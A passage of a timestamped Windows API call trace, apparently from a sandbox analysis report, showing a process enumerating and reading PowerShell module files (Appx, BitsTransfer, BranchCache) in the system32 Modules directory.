ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7673950 [0106.253] FindNextFileW (in: hFindFile=0x7673950, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x197bc54, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x206e0505, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.253] FindNextFileW (in: hFindFile=0x7673950, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709294ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x709294ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x709294ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="Appx.format.ps1xml", cAlternateFileName="")) returned 1 [0106.253] FindNextFileW (in: hFindFile=0x7673950, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709294ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x709294ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x709294ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x38f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Appx.psd1", cAlternateFileName="")) returned 1 [0106.253] FindNextFileW (in: hFindFile=0x7673950, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709294ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x709294ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x709294ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Appx.psm1", cAlternateFileName="")) returned 1 [0106.253] FindNextFileW (in: hFindFile=0x7673950, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709294ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x709294ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x709294ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Appx.psm1", cAlternateFileName="")) returned 0 [0106.254] FindClose (in: hFindFile=0x7673950 | out: hFindFile=0x7673950) returned 1 [0106.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e748) returned 1 [0106.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e754) returned 1 [0106.254] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\Appx.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appx\\appx.psd1")) returned 0x20 [0106.254] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\Appx.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0106.254] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\Appx.psd1", nBufferLength=0x42, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\Appx.psd1", lpFilePart=0x0) returned 0x41 [0106.254] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\Appx.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0106.254] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\Appx.psd1", nBufferLength=0x42, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\Appx.psd1", lpFilePart=0x0) returned 0x41 [0106.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e744) returned 1 [0106.254] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\Appx.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appx\\appx.psd1"), fInfoLevelId=0x0, lpFileInformation=0x55de478 | out: lpFileInformation=0x55de478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709294ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x709294ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x709294ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x38f)) returned 1 [0106.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e740) returned 1 [0106.254] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\Appx.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0106.254] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\Appx.psd1", nBufferLength=0x42, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\Appx.psd1", lpFilePart=0x0) returned 0x41 [0106.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e664) returned 1 [0106.254] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\Appx.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appx\\appx.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x9d4 [0106.254] GetFileType (hFile=0x9d4) returned 0x1 [0106.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e660) returned 1 [0106.254] GetFileType (hFile=0x9d4) returned 0x1 [0106.255] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x0 [0106.255] ReadFile (in: hFile=0x9d4, lpBuffer=0x55df25c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x55df25c*, lpNumberOfBytesRead=0x843e6cc*=0x38f, lpOverlapped=0x0) returned 1 [0106.367] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x38f [0106.367] ReadFile (in: hFile=0x9d4, lpBuffer=0x55df25c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x55df25c*, lpNumberOfBytesRead=0x843e6cc*=0x0, lpOverlapped=0x0) returned 1 [0106.367] CloseHandle (hObject=0x9d4) returned 1 [0106.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0106.372] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0106.372] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0106.372] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\*", lpFindFileData=0x843e4b4 | out: lpFindFileData=0x843e4b4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x197c4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x206e0505, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76735d0 [0106.372] FindNextFileW (in: hFindFile=0x76735d0, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x197c4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x206e0505, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.372] FindNextFileW (in: hFindFile=0x76735d0, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fdc1d0a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fdc1d0a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fdc1d0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39be, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer.Format.ps1xml", cAlternateFileName="")) returned 1 [0106.372] FindNextFileW (in: hFindFile=0x76735d0, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fdc1d0a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fdc1d0a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fdc1d0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer.psd1", cAlternateFileName="")) returned 1 [0106.373] FindNextFileW (in: hFindFile=0x76735d0, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fdc1d0a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fdc1d0a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fdc1d0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll", cAlternateFileName="")) returned 1 [0106.373] FindNextFileW (in: hFindFile=0x76735d0, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fdc1d0a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fdc1d0a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fdc1d0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll", cAlternateFileName="")) returned 0 [0106.373] FindClose (in: hFindFile=0x76735d0 | out: hFindFile=0x76735d0) returned 1 [0106.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e748) returned 1 [0106.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e754) returned 1 [0106.373] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1")) returned 0x20 [0106.373] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0106.373] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x52, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", lpFilePart=0x0) returned 0x51 [0106.373] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0106.373] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x52, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", lpFilePart=0x0) returned 0x51 [0106.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e744) returned 1 [0106.373] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1"), fInfoLevelId=0x0, lpFileInformation=0x55e6b7c | out: lpFileInformation=0x55e6b7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fdc1d0a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fdc1d0a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fdc1d0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5f6)) returned 1 [0106.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e740) returned 1 [0106.374] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0106.374] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", nBufferLength=0x52, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1", lpFilePart=0x0) returned 0x51 [0106.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e664) returned 1 [0106.374] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x9d4 [0106.374] GetFileType (hFile=0x9d4) returned 0x1 [0106.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e660) returned 1 [0106.374] GetFileType (hFile=0x9d4) returned 0x1 [0106.374] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x0 [0106.374] ReadFile (in: hFile=0x9d4, lpBuffer=0x55e7980, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x55e7980*, lpNumberOfBytesRead=0x843e6cc*=0x5f6, lpOverlapped=0x0) returned 1 [0106.382] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x5f6 [0106.382] ReadFile (in: hFile=0x9d4, lpBuffer=0x55e6f16, nNumberOfBytesToRead=0x20a, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x55e6f16*, lpNumberOfBytesRead=0x843e6cc*=0x0, lpOverlapped=0x0) returned 1 [0106.382] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x5f6 [0106.382] ReadFile (in: hFile=0x9d4, lpBuffer=0x55e7980, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x55e7980*, lpNumberOfBytesRead=0x843e6cc*=0x0, lpOverlapped=0x0) returned 1 [0106.382] CloseHandle (hObject=0x9d4) returned 1 [0106.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0106.384] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0106.384] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", nBufferLength=0x3f, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", lpFilePart=0x0) returned 0x3e [0106.384] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\*", lpFindFileData=0x843e4b4 | out: lpFindFileData=0x843e4b4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6e5be8c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x197cd93, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0xe966970b, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7673610 [0106.385] FindNextFileW (in: hFindFile=0x7673610, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6e5be8c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x197cd93, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0xe966970b, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.385] FindNextFileW (in: hFindFile=0x7673610, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98984b62, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd5e4fb95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd5e4fb95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x6c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BranchCache.format.ps1xml", cAlternateFileName="")) returned 1 [0106.385] FindNextFileW (in: hFindFile=0x7673610, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9895e8fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9895e8fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9895e8fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x699, dwReserved0=0x0, dwReserved1=0x0, cFileName="BranchCache.psd1", cAlternateFileName="")) returned 1 [0106.385] FindNextFileW (in: hFindFile=0x7673610, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9895e8fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd5e4fb95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd5e4fb95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x141e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BranchCache.types.ps1xml", cAlternateFileName="")) returned 1 [0106.385] FindNextFileW (in: hFindFile=0x7673610, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98984b62, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98984b62, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98984b62, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BranchCacheClientSettingData.cdxml", cAlternateFileName="")) returned 1 [0106.385] FindNextFileW (in: hFindFile=0x7673610, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98984b62, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98984b62, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98984b62, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BranchCacheContentServerSettingData.cdxml", cAlternateFileName="")) returned 1 [0106.385] FindNextFileW (in: hFindFile=0x7673610, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9895e8fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9895e8fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9895e8fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BranchCacheHostedCacheServerSettingData.cdxml", cAlternateFileName="")) returned 1 [0106.386] FindNextFileW (in: hFindFile=0x7673610, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98984b62, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98984b62, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98984b62, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="BranchCacheNetworkSettingData.cdxml", cAlternateFileName="")) returned 1 [0106.386] FindNextFileW (in: hFindFile=0x7673610, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9895e8fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd5e29916, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd5e29916, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x8a64, dwReserved0=0x0, dwReserved1=0x0, cFileName="BranchCacheOrchestrator.cdxml", cAlternateFileName="")) returned 1 [0106.386] FindNextFileW (in: hFindFile=0x7673610, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9895e8fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9895e8fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9895e8fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x0, dwReserved1=0x0, cFileName="BranchCachePrimaryPublicationCacheFile.cdxml", cAlternateFileName="")) returned 1 [0106.386] FindNextFileW (in: hFindFile=0x7673610, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98984b62, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98984b62, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98984b62, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x0, dwReserved1=0x0, cFileName="BranchCachePrimaryRepublicationCacheFile.cdxml", cAlternateFileName="")) returned 1 [0106.386] FindNextFileW (in: hFindFile=0x7673610, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98984b62, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98984b62, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98984b62, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BranchCacheSecondaryRepublicationCacheFile.cdxml", cAlternateFileName="")) returned 1 [0106.386] FindNextFileW (in: hFindFile=0x7673610, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98984b62, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98984b62, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98984b62, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x191, dwReserved0=0x0, dwReserved1=0x0, cFileName="BranchCacheStatus.cdxml", cAlternateFileName="")) returned 1 [0106.386] FindNextFileW (in: hFindFile=0x7673610, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98984b62, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98984b62, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98984b62, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x191, dwReserved0=0x0, dwReserved1=0x0, 